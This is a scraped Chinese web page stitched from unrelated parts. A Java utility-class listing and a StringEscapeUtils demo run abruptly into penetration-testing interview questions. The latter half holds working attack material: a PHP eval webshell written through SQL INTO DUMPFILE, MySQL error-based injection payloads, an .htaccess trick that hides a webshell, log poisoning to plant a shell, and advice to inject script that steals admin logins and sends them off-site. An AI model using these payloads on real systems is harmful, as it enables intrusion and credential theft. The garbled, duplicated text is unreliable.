色字體,選擇“標星公眾號”優質文章,第一時間送達
來源:juejin.im/post/5d4a25b351882505c105cc6e
在Java中,工具類定義了一組公共方法,這篇文章將介紹Java中使用最頻繁及最通用的Java工具類。以下工具類、方法按使用流行度排名,參考數據來源于Github上隨機選取的5萬個開源項目源碼。
closeQuietly:關閉一個IO流、socket、或者selector且不拋出異常,通常放在finally塊
toString:轉換IO流、 Uri、 byte為String
copy:IO流數據復制,從輸入流寫到輸出流中,最大支持2GB
toByteArray:從輸入流、URI獲取byte
write:把字節. 字符等寫入輸出流
toInputStream:把字符轉換為輸入流
readLines:從輸入流中讀取多行數據,返回List<String>
copyLarge:同copy,支持2GB以上數據的復制
lineIterator:從輸入流返回一個迭代器,根據參數要求讀取的數據量,全部讀取,如果數據不夠,則失敗
deleteDirectory:刪除文件夾
readFileToString:以字符形式讀取文件內容
deleteQueitly:刪除文件或文件夾且不會拋出異常
copyFile:復制文件
writeStringToFile:把字符寫到目標文件,如果文件不存在,則創建
forceMkdir:強制創建文件夾,如果該文件夾父級目錄不存在,則創建父級
write:把字符寫到指定文件中
listFiles:列舉某個目錄下的文件(根據過濾器)
copyDirectory:復制文件夾
forceDelete:強制刪除文件
isBlank:字符串是否為空 (trim后判斷)
isEmpty:字符串是否為空 (不trim并判斷)
equals:字符串是否相等
join:合并數組為單一字符串,可傳分隔符
split:分割字符串
EMPTY:返回空字符串
trimTo:trim后為空字符串則轉換為
replace:替換字符串
toString:把Entity轉換為字符串
consume:確保Entity中的內容全部被消費。可以看到源碼里又一次消費了Entity的內容,假如用戶沒有消費,那調用Entity時候將會把它消費掉
toByteArray:把Entity轉換為字節流
consumeQuietly:和consume一樣,但不拋異常
getContentCharset:獲取內容的編碼
isBlank:字符串是否為空 (trim后判斷)
isEmpty:字符串是否為空 (不trim并判斷)
equals:字符串是否相等
join:合并數組為單一字符串,可傳分隔符
split:分割字符串
EMPTY:返回空字符串
replace:替換字符串
capitalize:首字符大寫
getExtension:返回文件后綴名
getBaseName:返回文件名,不包含后綴名
getName:返回文件全名
concat:按命令行風格組合文件路徑(詳見方法注釋)
removeExtension:刪除后綴名
normalize:使路徑正常化
wildcardMatch:匹配通配符
seperatorToUnix:路徑分隔符改成unix系統格式的,即/
getFullPath:獲取文件路徑,不包括文件名
isExtension:檢查文件后綴名是不是傳入參數(List<String>)中的一個
hasText:檢查字符串中是否包含文本
hasLength:檢測字符串是否長度大于0
isEmpty:檢測字符串是否為空(若傳入為對象,則判斷對象是否為)
commaDelimitedStringToArray:逗號分隔的String轉換為數組
collectionToDelimitedString:把集合轉為CSV格式字符串
replace 替換字符串
delimitedListToStringArray:相當于split
uncapitalize:首字母小寫
collectionToDelimitedCommaString:把集合轉為CSV格式字符串
tokenizeToStringArray:和split基本一樣,但能自動去掉空白的單詞
contains:是否包含某字符串
addAll:添加整個數組
clone:克隆一個數組
isEmpty:是否空數組
add:向數組添加元素
subarray:截取數組
indexOf:查找某個元素的下標
isEquals:比較數組是否相等
toObject:基礎類型數據數組轉換為對應的Object數組
參考十五:
org.apache.commons.lang3.StringEscapeUtils
format:格式化參數,返回一個HTTP POST或者HTTP PUT可用application/x-www-form-urlencoded字符串
parse:把String或者URI等轉換為List<NameValuePair>
md5Hex:MD5加密,返回32位字符串
sha1Hex:SHA-1加密
sha256Hex:SHA-256加密
sha512Hex:SHA-512加密
md5:MD5加密,返回16位字符串
isEmpty:是否為空
select:根據條件篩選集合元素
transform:根據指定方法處理集合元素,類似List的map
filter:過濾元素,雷瑟List的filter
find:基本和select一樣
collect:和transform 差不多一樣,但是返回新數組
forAllDo:調用每個元素的指定方法
isEqualCollection:判斷兩個集合是否一致
contains:是否包含某個字符串
addAll:添加整個數組
clone:克隆一個數組
isEmpty:是否空數組
add:向數組添加元素
subarray:截取數組
indexOf:查找某個元素的下標
isEquals:比較數組是否相等
toObject:基礎類型數據數組轉換為對應的Object數組
getProperty:獲取對象屬性值
setProperty:設置對象屬性值
getPropertyDiscriptor:獲取屬性描述器
isReadable:檢查屬性是否可訪問
copyProperties:復制屬性值,從一個對象到另一個對象
getPropertyDiscriptors:獲取所有屬性描述器
isWriteable:檢查屬性是否可寫
getPropertyType:獲取對象屬性類型
unescapeHtml4:轉義html
escapeHtml4:反轉義html
escapeXml:轉義xml
unescapeXml:反轉義xml
escapeJava:轉義unicode編碼
escapeEcmaScript:轉義EcmaScript字符
unescapeJava:反轉義unicode編碼
escapeJson:轉義json字符
escapeXml10:轉義Xml10
這個現在已經廢棄了,建議使用commons-text包里面的方法。
copyPeoperties:復制屬性值,從一個對象到另一個對象
getProperty:獲取對象屬性值
setProperty:設置對象屬性值
populate:根據Map給屬性復制
copyPeoperty:復制單個值,從一個對象到另一個對象
cloneBean:克隆bean實例
現在你只要了解了以上16種最流行的工具類方法,你就不必要再自己寫工具類了,不必重復造輪子。大部分工具類方法通過其名字就能明白其用途,如果不清楚的,可以看下別人是怎么用的,或者去網上查詢其用法。
另外,工具類,根據阿里開發手冊,包名如果要使用util不能帶s,工具類命名為 XxxUtils
如果喜歡本篇文章,歡迎。關注訂閱號「Web項目聚集地」,回復「全棧」即可獲取 2019 年最新 Java、Python、前端學習視頻資源。
1.2. 4. 5.6.
紹語
本號主要是Java常用關鍵技術點,通用工具類的分享;以及springboot+springcloud+Mybatisplus+druid+mysql+redis+swagger+maven+docker等集成框架的技術分享;datax、kafka、flink等大數據處理框架的技術分享。文章會不斷更新,歡迎碼友關注點贊收藏轉發!
望各位碼友點擊關注,沖1000粉。后面會錄制一些視頻教程,圖文和視頻結合,比如:圖書介紹網站系統、搶購系統、大數據中臺系統等。技術才是程序猿的最愛,碼友們沖啊
如果碼友覺得代碼太長,可以從頭到尾快速掃射一遍,了解大概即可。覺得有用后再轉發收藏,以備不時之需。
正文:
Apache的StringEscapeUtils轉義工具類,主要是針對html、json、xml、js等的轉義。具體使用場景在項目中并不是很多,所以可能了解的人也比較少。
import org.apache.commons.text.StringEscapeUtils;
import org.junit.Test;
public class StringEscapeUtilsTest {
@Test
public void test() {
// 轉義html腳本和反轉義html腳本
String inputText = "<input type=\"button\" value=\"點我\"/>";
String s1 = StringEscapeUtils.escapeHtml4(inputText);
System.out.println(s1);
String s2 = StringEscapeUtils.unescapeHtml4(s1);
System.out.println(s2);
// 轉義js腳本和反轉義js腳本
String s3 = StringEscapeUtils.escapeEcmaScript("<script>alert('點我')<script>");
System.out.println(s3);
String s4 = StringEscapeUtils.unescapeEcmaScript(s3);
System.out.println(s4);
// 把字符串轉義為unicode編碼和從把unicode編碼轉義為字符串
String s5 = StringEscapeUtils.escapeJava("abc不要點我了");
System.out.println(s5);
String s6 = StringEscapeUtils.unescapeJava(s5);
System.out.println(s6);
// 轉義XML和反轉義XML
String s7 = StringEscapeUtils.escapeXml11("<name>張三</name>");
System.out.println(s7);
String s8 = StringEscapeUtils.unescapeXml(s7);
System.out.println(s8);
}
}
其他方法:
工具類源碼:
直接引入工具類的jar包即可
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.1</version>
</dependency>
和本文使用的相同功能的工具類:
<dependency>
<groupId>commons-lang</groupId>
<artifactId>commons-lang</artifactId>
<version>2.6</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>5.3.6</version>
</dependency>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>3.0.9</version>
<type>pom</type>
</dependency>
鄙人編碼十年多,在項目中也積累了一些工具類,很多工具類在每個項目都有在用,很實用。大部分是鄙人封裝的,有些工具類是同事封裝的,有些工具類已經不記得是ctrl+c的還是自己封裝的了,現在有空就會總結項目中大部分的工具類,分享給各位碼友。如果文章中涉及的代碼有侵權行為請通知鄙人處理。
計劃是先把工具類整理出來,正所謂工欲善其事,必先利其器。項目中不管是普通單體項目還是多模塊maven項目或是分布式微服務,一部分功能模塊都是可以重用的,工具類模塊就是其中之一。
.拿到一個待檢測的站,你覺得應該先做什么?
1)信息收集 1,獲取域名的whois信息,獲取注冊者郵箱姓名電話等。 2,查詢服務器旁站以及子域名站點,因為主站一般比較難,所以先看看旁站有沒有通用性的cms或者其他漏洞。 3,查看服務器操作系統版本,web中間件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞 4,查看IP,進行IP地址端口掃描,對響應的端口進行漏洞探測,比如 rsync,心臟出血,mysql,ftp,ssh弱口令等。 5,掃描網站目錄結構,看看是否可以遍歷目錄,或者敏感文件泄漏,比如php探針 6,google hack 進一步探測網站的信息,后臺,敏感文件 2)漏洞掃描 開始檢測漏洞,如XSS,XSRF,sql注入,代碼執行,命令執行,越權訪問,目錄讀取,任意文件讀取,下載,文件包含, 遠程命令執行,弱口令,上傳,編輯器漏洞,暴力破解等 3)漏洞利用 利用以上的方式拿到webshell,或者其他權限 4)權限提升 提權服務器,比如windows下mysql的udf提權,serv-u提權,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux臟牛漏洞,linux內核版本漏洞提權,linux下的mysql system提權以及oracle低權限提權 5) 日志清理 6)總結報告及修復方案
2.判斷出網站的CMS對滲透有什么意義?
查找網上已曝光的程序漏洞。
如果開源,還能下載相對應的源碼進行代碼審計。
3.一個成熟并且相對安全的CMS,滲透時掃目錄的意義?
敏感文件、二級目錄掃描
站長的誤操作比如:網站備份的壓縮文件、說明.txt、二級目錄可能存放著其他站點
4.常見的網站服務器容器。
IIS、Apache、nginx、Lighttpd、Tomcat
5.mysql注入點,用工具對目標站直接寫入一句話,需要哪些條件?
root權限以及網站的絕對路徑。
6.目前已知哪些版本的容器有解析漏洞,具體舉例。
IIS 6.0 /xx.asp/xx.jpg “xx.asp”是文件夾名
IIS 7.0/7.5 默認Fast-CGI開啟,直接在url中圖片地址后面輸入/1.php,會把正常圖片當成php解析
Nginx 版本小于等于0.8.37,利用方法和IIS 7.0/7.5一樣,Fast-CGI關閉情況下也可利用。 空字節代碼 xxx.jpg.php
Apache 上傳的文件命名為:test.php.x1.x2.x3,Apache是從右往左判斷后綴
lighttpd xx.jpg/xx.php,不全,請小伙伴們在評論處不吝補充,謝謝!
7.如何手工快速判斷目標站是windows還是linux服務器?
linux大小寫敏感,windows大小寫不敏感。
8.為何一個mysql數據庫的站,只有一個80端口開放?
更改了端口,沒有掃描出來。
站庫分離。
3306端口不對外開放
9、3389無法連接的幾種情況
沒開放3389 端口
端口被修改
防護攔截
處于內網(需進行端口轉發)
10.如何突破注入時字符被轉義?
寬字符注入
hex編碼繞過
11.在某后臺新聞編輯界面看到編輯器,應該先做什么?
查看編輯器的名稱版本,然后搜索公開的漏洞。
12.拿到一個webshell發現網站根目錄下有.htaccess文件,我們能做什么?
能做的事情很多,用隱藏網馬來舉例子: 插入 <FilesMatch “xxx.jpg”> SetHandler application/x-httpd-php </FilesMatch> .jpg文件會被解析成.php文件。
具體其他的事情,不好詳說,建議大家自己去搜索語句來玩玩。
13.注入漏洞只能查賬號密碼?
只要權限廣,拖庫脫到老。
14.安全狗會追蹤變量,從而發現出是一句話木馬嗎?
是根據特征碼,所以很好繞過了,只要思路寬,繞狗繞到歡,但這應該不會是一成不變的。
15.access 掃出后綴為asp的數據庫文件,訪問亂碼,如何實現到本地利用?
迅雷下載,直接改后綴為.mdb。
16.提權時選擇可讀寫目錄,為何盡量不用帶空格的目錄?
因為exp執行多半需要空格界定參數
17.某服務器有站點A,B 為何在A的后臺添加test用戶,訪問B的后臺。發現也添加上了test用戶?
同數據庫。
18.注入時可以不使用and 或or 或xor,直接order by 開始注入嗎?
and/or/xor,前面的1=1、1=2步驟只是為了判斷是否為注入點,如果已經確定是注入點那就可以省那步驟去。
19:某個防注入系統,在注入時會提示:
系統檢測到你有非法注入的行為。已記錄您的ip xx.xx.xx.xx時間:2016:01-23提交頁面:test.asp?id=15提交內容:and 1=1
20、如何利用這個防注入系統拿shell?
在URL里面直接提交一句話,這樣網站就把你的一句話也記錄進數據庫文件了 這個時候可以嘗試尋找網站的配置文件 直接上菜刀鏈接。具體文章參見:http://ytxiao.lofter.com/post/40583a_ab36540。
21.上傳大馬后訪問亂碼時,有哪些解決辦法?
瀏覽器中改編碼。
22.審查上傳點的元素有什么意義?
有些站點的上傳文件類型的限制是在前端實現的,這時只要增加上傳類型就能突破限制了。
23.目標站禁止注冊用戶,找回密碼處隨便輸入用戶名提示:“此用戶不存在”,你覺得這里怎樣利用?
先爆破用戶名,再利用被爆破出來的用戶名爆破密碼。
其實有些站點,在登陸處也會這樣提示
所有和數據庫有交互的地方都有可能有注入。
24.目標站發現某txt的下載地址為http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?
這就是傳說中的下載漏洞!在file=后面嘗試輸入index.php下載他的首頁文件,然后在首頁文件里繼續查找其他網站的配置文件,可以找出網站的數據庫密碼和數據庫的地址。
25.甲給你一個目標站,并且告訴你根目錄下存在/abc/目錄,并且此目錄下存在編輯器和admin目錄。請問你的想法是?
直接在網站二級目錄/abc/下掃描敏感文件及目錄。
26.在有shell的情況下,如何使用xss實現對目標站的長久控制?
后臺登錄處加一段記錄登錄賬號密碼的js,并且判斷是否登錄成功,如果登錄成功,就把賬號密碼記錄到一個生僻的路徑的文件中或者直接發到自己的網站文件中。(此方法適合有價值并且需要深入控制權限的網絡)。
在登錄后才可以訪問的文件中插入XSS腳本。
27.后臺修改管理員密碼處,原密碼顯示為*。你覺得該怎樣實現讀出這個用戶的密碼?
審查元素 把密碼處的password屬性改成text就明文顯示了
28.目標站無防護,上傳圖片可以正常訪問,上傳腳本格式訪問則403.什么原因?
原因很多,有可能web服務器配置把上傳目錄寫死了不執行相應腳本,嘗試改后綴名繞過
29.審查元素得知網站所使用的防護軟件,你覺得怎樣做到的?
在敏感操作被攔截,通過界面信息無法具體判斷是什么防護的時候,F12看HTML體部 比如護衛神就可以在名稱那看到<hws>內容<hws>。
30.在win2003服務器中建立一個 .zhongzi文件夾用意何為?
隱藏文件夾,為了不讓管理員發現你傳上去的工具。
31、sql注入有以下兩個測試選項,選一個并且闡述不選另一個的理由:
A. demo.jsp?id=2+1 B. demo.jsp?id=2-1選B,在 URL 編碼中 + 代表空格,可能會造成混淆
32、以下鏈接存在 sql 注入漏洞,對于這個變形注入,你有什么思路?
demo.do?DATA=AjAxNg==DATA有可能經過了 base64 編碼再傳入服務器,所以我們也要對參數進行 base64 編碼才能正確完成測試
33、發現 demo.jsp?uid=110 注入點,你有哪幾種思路獲取 webshell,哪種是優選?
有寫入權限的,構造聯合查詢語句使用using INTO OUTFILE,可以將查詢的輸出重定向到系統的文件中,這樣去寫入 WebShell使用 sqlmap –os-shell 原理和上面一種相同,來直接獲得一個 Shell,這樣效率更高通過構造聯合查詢語句得到網站管理員的賬戶和密碼,然后掃后臺登錄后臺,再在后臺通過改包上傳等方法上傳 Shell
34、CSRF 和 XSS 和 XXE 有什么區別,以及修復方式?
XSS是跨站腳本攻擊,用戶提交的數據中可以構造代碼來執行,從而實現竊取用戶信息等攻擊。修復方式:對字符實體進行轉義、使用HTTP Only來禁止JavaScript讀取Cookie值、輸入時校驗、瀏覽器與Web應用端采用相同的字符編碼。
CSRF是跨站請求偽造攻擊,XSS是實現CSRF的諸多手段中的一種,是由于沒有在關鍵操作執行時進行是否由用戶自愿發起的確認。修復方式:篩選出需要防范CSRF的頁面然后嵌入Token、再次輸入密碼、檢驗RefererXXE是XML外部實體注入攻擊,XML中可以通過調用實體來請求本地或者遠程內容,和遠程文件保護類似,會引發相關安全問題,例如敏感文件讀取。修復方式:XML解析庫在調用時嚴格禁止對外部實體的解析。
35、CSRF、SSRF和重放攻擊有什么區別?
CSRF是跨站請求偽造攻擊,由客戶端發起SSRF是服務器端請求偽造,由服務器發起重放攻擊是將截獲的數據包進行重放,達到身份認證等目的
36、說出至少三種業務邏輯漏洞,以及修復方式?
密碼找回漏洞中存在
1)密碼允許暴力破解、
2)存在通用型找回憑證、
3)可以跳過驗證步驟、
4)找回憑證可以攔包獲取
等方式來通過廠商提供的密碼找回功能來得到密碼。身份認證漏洞中最常見的是
1)會話固定攻擊
2) Cookie 仿冒
只要得到 Session 或 Cookie 即可偽造用戶身份。驗證碼漏洞中存在
1)驗證碼允許暴力破解
2)驗證碼可以通過 Javascript 或者改包的方法來進行繞過
37、圈出下面會話中可能存在問題的項,并標注可能會存在的問題?
ActionScript
get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”HTTP/1.1Host:***.com:82User-Agent:Mozilla/5.0 Firefox/40Accept:text/css,/;q=0.1Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3Referer:http://*******.com/eciop/orderForCC/cgtListForCC.htm?zone=11370601&v=145902Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;st_uid=N90PLYHLZGJXI-NX01VPUF46W;status=TrueConnection:keep-alive
38、給你一個網站你是如何來滲透測試的? 在獲取書面授權的前提下。
39、sqlmap,怎么對一個注入點注入? 1)如果是get型號,直接,sqlmap -u “諸如點網址”. 2) 如果是post型諸如點,可以sqlmap -u “注入點網址” –data=”post的參數” 3)如果是cookie,X-Forwarded-For等,可以訪問的時候,用burpsuite抓包,注入處用號替換,放到文件里,然后sqlmap -r “文件地址”
40、nmap,掃描的幾種方式
41、sql注入的幾種類型? 1)報錯注入 2)bool型注入 3)延時注入 4)寬字節注入42、報錯注入的函數有哪些? 10個 1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】—————- 2)通過floor報錯 向下取整 3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1) 4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b)); 5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b)); 6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b)); 7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b)); 8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b)); 9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b)); 10).exp()select from test where id=1 and exp(~(select * from(select user())a));
43、延時注入如何來判斷? if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
44、盲注和延時注入的共同點? 都是一個字符一個字符的判斷
45、如何拿一個網站的webshell? 上傳,后臺編輯模板,sql注入寫文件,命令執行,代碼執行, 一些已經爆出的cms漏洞,比如dedecms后臺可以直接建立腳本文件,wordpress上傳插件包含腳本文件zip壓縮包等
46、sql注入寫文件都有哪些函數? select ‘一句話’ into outfile ‘路徑’ select ‘一句話’ into dumpfile ‘路徑’ select ‘<?php eval($_POST[1]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;
47、如何防止CSRF? 1,驗證referer 2,驗證token 詳細:http://cnodejs.org/topic/5533dd6e9138f09b629674fd
48、owasp 漏洞都有哪些? 1、SQL注入防護方法: 2、失效的身份認證和會話管理 3、跨站腳本攻擊XSS 4、直接引用不安全的對象 5、安全配置錯誤 6、敏感信息泄露 7、缺少功能級的訪問控制 8、跨站請求偽造CSRF 9、使用含有已知漏洞的組件 10、未驗證的重定向和轉發
49、SQL注入防護方法? 1、使用安全的API 2、對輸入的特殊字符進行Escape轉義處理 3、使用白名單來規范化輸入驗證方法 4、對客戶端輸入進行控制,不允許輸入SQL注入相關的特殊字符 5、服務器端在提交數據庫進行SQL查詢之前,對特殊字符進行過濾、轉義、替換、刪除。
50、代碼執行,文件讀取,命令執行的函數都有哪些?
1)代碼執行:
ActionScript
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2)文件讀取:
ActionScript
file_get_contents(),highlight_file(),fopen(),read
ActionScript
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3)命令執行:
ActionScript
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
51、img標簽除了onerror屬性外,還有其他獲取管理員路徑的辦法嗎? src指定一個遠程的腳本文件,獲取referer
52、img標簽除了onerror屬性外,并且src屬性的后綴名,必須以.jpg結尾,怎么獲取管理員路徑。
1)遠程服務器修改apache配置文件,配置.jpg文件以php方式來解析 AddType application/x-httpd-php .jpg <img src=http://xss.tv/1.jpg> 會以php方式來解析
*請認真填寫需求信息,我們會在24小時內與您取得聯系。